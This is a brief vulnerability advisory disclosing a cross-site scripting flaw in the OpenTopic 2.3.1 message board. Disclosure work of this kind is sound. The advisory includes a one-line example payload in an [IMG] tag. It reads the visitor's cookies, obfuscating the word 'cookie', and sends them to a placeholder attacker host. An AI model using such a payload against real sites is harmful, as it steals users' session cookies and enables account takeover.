[UNIX] OpenTopic XSS Security Hole

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Date: 01/05/03

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      OpenTopic XSS Security Hole
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    SUMMARY

     <http://www.infopop.com/products/opentopic/> OpenTopic is a message board
    that has no growth limits, no software to install, and won't tie up your
    IT team for months with integration issues. You can start growing your
    community almost immediately. A cross site scripting vulnerability has
    been found in the product allowing people posting messages to insert
    malicious HTML and JavaScript code.

    DETAILS

    Vulnerable systems:
     * OpenTopic version 2.3.1

    Example:
    An example XSS to get cookie :
    [IMG]http://[website]/img.gif"width="750"height="750"onmouseover="a=document['coo'+'kie'];location='http://[attacker]/?'+a;[/IMG]

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:leseulfrog@hotmail.com> Frog
    Man.

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